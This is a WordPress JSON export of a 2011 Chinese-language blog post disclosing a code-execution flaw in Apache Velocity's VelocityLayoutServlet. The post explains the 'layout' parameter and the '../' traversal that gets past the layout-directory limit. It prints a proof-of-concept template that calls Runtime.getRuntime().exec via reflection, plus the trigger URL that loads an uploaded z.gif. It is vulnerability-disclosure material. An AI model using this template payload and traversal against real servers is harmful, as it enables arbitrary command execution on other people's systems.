{"id":341,"date":"2011-08-28T21:53:51","date_gmt":"2011-08-28T13:53:51","guid":{"rendered":"http:\/\/inbreak.net\/?p=341"},"modified":"2011-10-11T09:32:48","modified_gmt":"2011-10-11T01:32:48","slug":"velocity%e6%9c%ac%e5%9c%b0%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/341.html","title":{"rendered":"VELOCITY\u672c\u5730\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e"},"content":{"rendered":"

by \u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net
\nvelocity\u662fJ2EE\u7684MVC\u67b6\u6784\u6700\u5e38\u7528\u7684\u5c55\u793a\u5c42\u6a21\u677f\u6587\u4ef6\uff0c\u7531\u4e8e\u6027\u80fd\u4f18\u79c0\uff0c\u6781\u591a\u7684J2EE\u5e94\u7528\uff0c\u90fd\u4f7f\u7528\u4e86\u8fd9\u4e2a\u6a21\u677f\u3002\u901a\u5e38\u5728\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u4f1a\u548c\u5176\u4ed6\u6846\u67b6\u7ed3\u5408\uff0c\u6700\u5e38\u89c1\u7684\u6846\u67b6\u662fstruts2\u3001spring mvc\u7b49\u6846\u67b6\u3002
\n\u6a21\u677f\u7684\u6269\u5c55\u540d\u4e3a\u201cvm\u201d\uff0c\u5f00\u53d1\u4eba\u5458\u5728\u914d\u7f6e\u65f6\uff0c\u7ecf\u5e38\u9700\u8981\u8ba9\u6846\u67b6\u89e3\u6790\u201cvm\u201d\u6269\u5c55\u540d\u3002velocity\u5b98\u65b9\uff0c\u7ed9\u51fa\u4e86\u6807\u51c6\u914d\u7f6e\uff0c\u5c31\u5728showcase\u4e2d\uff0c\u6307\u5bfc\u5927\u5bb6\u914d\u7f6evm\u6587\u4ef6\u7684servlet\u4e3aVelocityLayoutServlet\u3002
\n\u5982\u679c\u6309\u7167velocity\u7684\u5b98\u65b9\u6807\u914d\uff0c\u5c31\u4f1a\u4ea7\u751f\u8fd9\u4e2a\u6f0f\u6d1e\uff08velocity-tools-2.0\u5927\u5bb6\u53ef\u4ee5\u4e0b\u8f7d\u5b83\u7684showcase\uff0c\u76f4\u63a5\u8dd1\u8d77\u6765\uff09\u3002<\/p>\n

\u6f0f\u6d1e\u539f\u7406\uff1a<\/strong>
\n\u5728\u4f7f\u7528velocity\u6846\u67b6\u7684\u65f6\u5019\uff0c\u5f00\u53d1\u5f80\u5f80\u4f1a\u914d\u7f6eURL\u4e2d\uff0c\u8bf7\u6c42\u6587\u4ef6\u6269\u5c55\u540d\u4e3avm\u65f6\uff0c\u5c31\u89e3\u6790\u5bf9\u5e94\u7684velocity\u6a21\u677f\uff0c\u8fd9\u65f6\u5c31\u9700\u8981\u4e00\u4e2aservlet\u3002velocity\u7ed9\u51fa\u4e86\u81ea\u5df1\u7684servlet\uff0c\u4f9b\u5927\u5bb6\u4f7f\u7528\uff0c\u4e00\u5171\u63d0\u4f9b\u4e86\u4e24\u4e2a\uff0c\u5176\u4e2d\u6700\u4e3a\u63a8\u8350\u7684\uff0c\u5c31\u662fVelocityLayoutServlet\uff0c\u56e0\u4e3a\u5b98\u65b9showcase\u4e2d\u5c31\u4f7f\u7528\u4e86\u8fd9\u4e2a\u3002
\n\u8fd9\u4e2aservlet\u914d\u5408\u51e0\u4e2a\u6280\u5de7\uff0c\u53ef\u4ee5\u505a\u5230\u6267\u884c\u4efb\u610fjava\u4ee3\u7801\u3002
\n\u6f0f\u6d1e\u5165\u53e3\uff1a<\/strong>
\n\u6f0f\u6d1e\u5728\u4e8eVelocityLayoutServlet\u5141\u8bb8\u7528\u6237\u63d0\u4ea4layout\u53c2\u6570\uff0c\u6307\u5b9a\u6a21\u677f\u4f4d\u7f6e\u3002
\n\u5728\u8fd9\u4e2aservlet\u5bfb\u627elayout\u6a21\u677f\u65f6\uff0c\u53ef\u4ee5\u5141\u8bb8url\u53c2\u6570\u63d0\u4ea4\u8fc7\u6765\u3002<\/p>\n

\r\nprotected String findLayout(HttpServletRequest request)\r\n{\r\n\/\/ check if an alternate layout has been specified\r\n\/\/ by way of the request parameters\r\nString layout = request.getParameter(KEY_LAYOUT);\r\n\/\/ also look in the request attributes\r\nif (layout == null)\r\n{\r\nlayout = (String)request.getAttribute(KEY_LAYOUT);\r\n}\r\nreturn layout;\r\n}\r\n<\/pre>\n

\u4ece\u4ee3\u7801\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c\u53c2\u6570\u4e2d\u6307\u5b9a\u4e86layout\uff0cservlet\u4e4b\u540e\u7684\u4ee3\u7801\uff0c\u5c31\u53bb\u89e3\u6790\u6a21\u677f\u4e86\u3002
\n\u76f8\u5173\u4ee3\u7801<\/p>\n

\r\nmergeTemplate(template, context, response);\r\n<\/pre>\n

\u5229\u7528\u6280\u5de71\uff1a<\/strong>
\n\u8fd9\u6bb5\u4ee3\u7801\uff0c\u4e0d\u4f1a\u53bb\u7ba1\u6a21\u677f\u7684\u6269\u5c55\u540d\u662f\u5426\u4e3avm\uff0c\u90fd\u53bb\u89e3\u6790\u3002\u56e0\u4e3avelocity\u672c\u8eab\u5c31\u5177\u5907\u914d\u7f6e\u6587\u4ef6\u6269\u5c55\u540d\u529f\u80fd\uff0c\u4f60\u53ef\u4ee5\u5728\u914d\u7f6e\u4e2d\u6307\u5b9avelocity\u89e3\u6790html\u6587\u4ef6\u4e3a\u6a21\u677f\u6587\u4ef6\u3002
\n\u6240\u4ee5\uff0c\u4ece\u6846\u67b6\u7684\u89d2\u5ea6\u8bb2\uff0c\u5b98\u65b9\u53ea\u4f1a\u8bf4\u8fd9\u662f\u4e2a\u5fc5\u5907\u7684\u529f\u80fd\u3002
\n\u5229\u7528\u6280\u5de72\uff1a<\/strong>
\n\u867d\u7136\u53ef\u4ee5\u5728velocity\u914d\u7f6e\u6587\u4ef6\u4e2d\uff0c\u6307\u5b9a\u6a21\u677f\u4f4d\u7f6e\u5fc5\u987b\u5728layout\u6587\u4ef6\u5939\u4e2d\uff0c\u4f46\u662f\u53ef\u4ee5\u4f7f\u7528\u201c..\/\u201d\u7ed5\u8fc7\u3002<\/p>\n

\r\ntools.view.servlet.layout.directory = \/layout\/\r\n<\/pre>\n

\u8fd9\u662f\u4e00\u4e2a\u60b2\u5267\u7684\u70b9\uff0c\u5982\u679c\u9650\u5236\u6b7b\u76ee\u5f55\uff0c\u6f0f\u6d1e\u5c31\u4f1a\u5f71\u54cd\u5f88\u5c0f\u3002
\n\u5229\u7528\u6280\u5de73\uff1a<\/strong>
\n\u7b97\u4e86\uff0c\u6682\u65f6\u4e0d\u63d0\u4e86\uff0c\u4e0b\u4e00\u4e2a\u6846\u67b6\u6f0f\u6d1e\u4f1a\u8bf4\u5230\u8fd9\u91cc\u7684\u4e00\u4e2a\u5927\u5bb6\u5f88\u719f\u6089\uff0c\u4f46\u662f\u4e5f\u5f88\u7325\u7410\u7684\u4e1c\u897f\u3002
\n\u5229\u7528\u6280\u5de74\uff1a<\/strong>
\nvelocity\u6a21\u677f\u89e3\u6790\u65f6\uff0c\u662f\u5141\u8bb8\u8bbf\u95ee\u5f88\u591a\u4e1c\u897f\u7684\uff0c\u4f60\u53ef\u4ee5\u8ba4\u4e3a\u4ed6\u5176\u5b9e\u5c31\u662fjsp\u7684\u5347\u7ea7\u7248\uff0c\u5176\u4e2d\u5c31\u5305\u62ec\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002
\n\u662f\u7684\uff0c\u8fd9\u4e2a\u4e8b\u60c5\uff0c\u6211\u5728google\u6ca1\u770b\u5230\u6709\u4eba\u63d0\u5230\u8fc7\uff0c\u662f\u6211\u53bb\u5e74\u5076\u7136\u53d1\u73b0\u7684\uff08\u4e5f\u8bb8\u725b\u4eba\u4ece\u4e0d\u8bf4\u51fa\u6765\uff09\u3002
\n\u6211\u5199\u4e00\u4e2a\u7b80\u5355\u7684demo\uff0c\u5229\u7528velocity\u53ef\u4ee5\u6267\u884cjava\u4ee3\u7801\u7684\u7279\u6027\uff0c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n

\r\n#set ($exec = \"kxlzx\")\r\n$exec.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")\r\n<\/pre>\n

\u539f\u7406\u662f\uff0c\u5b9a\u4e49\u4e00\u4e2a\u53d8\u91cf\u53eb$exec\uff0c\u53d8\u91cf\u5176\u5b9e\u662f\u7ee7\u627f\u4e86Object\uff0c\u6240\u4ee5\u53ef\u4ee5\u8c03\u7528Object\u7684\u65b9\u6cd5\u3002\u5176\u4e2d\u4e00\u4e2a\u5c5e\u6027\u53ebclass\uff0c\u53ef\u4ee5\u53cd\u5c04\u7c7b\uff0c\u6211\u559c\u6b22\u8fd9\u4e2a\u529f\u80fd\uff0c\u4ed6\u88ab\u65e0\u6570\u6b21\u5e94\u7528\u5728java\u6846\u67b6\u6f0f\u6d1e\u4e2d\u3002\u8fd9\u6837\u4e00\u6b65\u4e00\u6b65\u6765\u5230\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u5730\u65b9\uff0c\u6267\u884c\u6389\u3002
\n\u5229\u7528\u9650\u52361\uff08\u5fc5\u987b\u4e0a\u4f20\u6587\u4ef6\uff09\uff1a<\/strong>
\n\u5f88\u660e\u663e\uff0c\u8fd9\u4e0d\u662f\u5927\u5bb6\u613f\u610f\u770b\u5230\u7684\uff0c\u5b83\u6240\u80fd\u6267\u884c\u7684\u672c\u5730\u6587\u4ef6\uff0c\u5fc5\u987b\u5728web\u76ee\u5f55\u4e0b\uff0c\u56e0\u4e3avelocity\u4ece\u5f88\u65e9\u7684\u7248\u672c\u8d77\uff0c\u5c31\u53ef\u4ee5\u914d\u7f6e\u628a\u76ee\u5f55\u9650\u5236\u7684\u6b7b\u6b7b\u7684\uff0cvm\u6a21\u677f\u53ea\u80fd\u5728web\u76ee\u5f55\u4e0b\u3002
\n\u6240\u4ee5\u5fc5\u987b\u4e0a\u4f20\u6587\u4ef6\u4e0a\u6765\uff0c\u65e0\u8bba\u4ec0\u4e48\u6269\u5c55\u540d\u3002
\n\u5229\u7528\u9650\u52362\uff08\u5982\u4f55\u4ece\u5916\u90e8\u53d1\u73b0\uff09\uff1a<\/strong>
\n\u8fd9\u4e00\u70b9\u6bd4\u8f83\u96be\uff0c\u56e0\u4e3a\u5982\u679c\u627e\u4e0d\u5230layout\uff0c\u4e5f\u5c31\u662f\u653b\u51fb\u8005\u968f\u4fbf\u6307\u5b9a\u4e0d\u5b58\u5728\u7684layout\uff0c\u5c31\u4f1a\u628a\u9519\u8bef\u65e5\u5fd7\u8bb0\u5f55\u4e0b\u6765\uff0c\u4f46\u662f\u5e76\u4e0d\u8fd4\u56de\u7ed9\u7528\u6237\u3002
\n\u7528\u6237\u770b\u5230\u7684\uff0c\u662f\u4e00\u4e2a200\u6b63\u5e38\u9875\u9762\u3002\u5728\u9519\u8bef\u7684layout\u7684\u60c5\u51b5\u4e0b\uff0c\u5c31\u4f1a\u7528\u9ed8\u8ba4\u7684layout\uff0c\u8fd9\u662f\u4ece\u5916\u90e8\u770b\u5230\u7684\u7ed3\u679c\uff0c\u662f\u548c\u6ca1\u6709\u8f93\u5165\u8fd9\u4e2a\u53c2\u6570\uff0c\u4e00\u6837\u7684\u9875\u9762\u3002\u552f\u4e00\u80fd\u786e\u5b9a\u7684\uff0c\u5c31\u662furl\u4e2d\u6709\u5f88\u5927\u7684\u80af\u5b9a\u6269\u5c55\u540d\u4e3avm\uff08\u524d\u6587\u63d0\u5230\u53ef\u4ee5\u914d\u7f6e\u5176\u4ed6\u6269\u5c55\u540d\uff09\u3002
\n\u5176\u4ed6\u7684\u4e0d\u60f3\u5728\u8fd9\u91cc\u591a\u8bf4\uff0c\u56de\u5934\u4f1a\u53d1\u5e03\u4e00\u7bc7web\u6846\u67b6\u6307\u7eb9\u7684\u6587\u7ae0\uff0c\u4e13\u95e8\u8ba8\u8bba\u8fd9\u4e2a\u95ee\u9898\u3002<\/p>\n

\u653b\u51fb\u793a\u4f8b\uff1a<\/strong>
\n\u6bd4\u5982velocity\u7684\u5b98\u65b9showcase
\n\u5982\u679c\u653b\u51fb\u8005\u53ef\u4ee5\u4f20\u6587\u4ef6\u5230web\u76ee\u5f55\u4e0b\uff0c\u6bd4\u5982
\nz.gif\uff1a<\/p>\n

\r\n#set ($exec = \"kxlzx\")$exec.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")\r\nhacked by kxlzx<br>\r\nhttp:\/\/inbreak.net\/<\/a>\r\n<\/pre>\n

\u7136\u540e\u8bbf\u95ee\uff1ahttp:\/\/localhost:8080\/showcase\/context.vm?layout=..\/z.gif<\/a>
\n\u5c31\u53ef\u4ee5\u770b\u5230\u4e0b\u56fe\uff1a
\n
\"\"<\/a>
\nps\uff1a\u8c01\u5e2e\u5fd9\u7533\u8bf7\u4e2aCVE\u3002\u3002\u3002\u6211\u4e0d\u4f1a\u9e1f\u8bed\uff0c\u8fd9\u4e2a\u6ca1\u7533\u8bf7\u8fc7\uff0c\u5f53\u7136\uff0c\u4f60\u7528\u81ea\u5df1\u7684\u540d\u5b57\u7533\u8bf7\u4e5f\u65e0\u6240\u8c13\uff0c\u53ea\u8981\u7559\u4e2a\u94fe\u63a5\u5c31\u597d\u3002
\nby \u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net<\/p>\n","protected":false},"excerpt":{"rendered":"

velocity\u662f\u6700\u5e38\u7528\u7684\u5c55\u793a\u5c42\u6a21\u677f\u6587\u4ef6\uff0c\u7531\u4e8e\u6027\u80fd\u4f18\u79c0\uff0c\u6781\u591a\u7684\u4f01\u4e1a\u7ea7java web\u5e94\u7528\uff0c\u90fd\u4f7f\u7528\u4e86\u8fd9\u4e2a\u6a21\u677f\u3002
\n \u901a\u5e38\u5728\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u4f1a\u548c\u5176\u4ed6\u6846\u67b6\u7ed3\u5408\uff0c\u6700\u5e38\u89c1\u7684\u6846\u67b6\u662fstruts2\u3001spring mvc\u7b49\u6846\u67b6\u3002
\n \u6a21\u677f\u7684\u6269\u5c55\u540d\u4e3a\u201cvm\u201d\uff0c\u5f00\u53d1\u4eba\u5458\u5728\u914d\u7f6e\u65f6\uff0c\u7ecf\u5e38\u9700\u8981\u8ba9\u6846\u67b6\u89e3\u6790\u201cvm\u201d\u6269\u5c55\u540d\u3002
\n \u8fd9\u65f6velocity\u5b98\u65b9\uff0c\u7ed9\u51fa\u4e86\u6807\u51c6\u914d\u7f6e\uff0c\u5c31\u5728showcase\u4e2d\uff0c\u6307\u5bfc\u5927\u5bb6\u914d\u7f6evm\u6587\u4ef6\u7684servlet\u4e3aVelocityLayoutServlet\u3002
\n \u5982\u679c\u6309\u7167velocity\u7684\u5b98\u65b9\u6807\u914d\uff0c\u5c31\u4f1a\u4ea7\u751f\u8fd9\u4e2a\u6f0f\u6d1e\uff08velocity-tools-2.0\u5927\u5bb6\u53ef\u4ee5\u4e0b\u8f7d\u5b83\u7684showcase\uff0c\u76f4\u63a5\u8dd1\u8d77\u6765\uff09\u3002<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,86,5],"tags":[],"views":10145,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/341"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=341"}],"version-history":[{"count":6,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/341\/revisions"}],"predecessor-version":[{"id":362,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/341\/revisions\/362"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}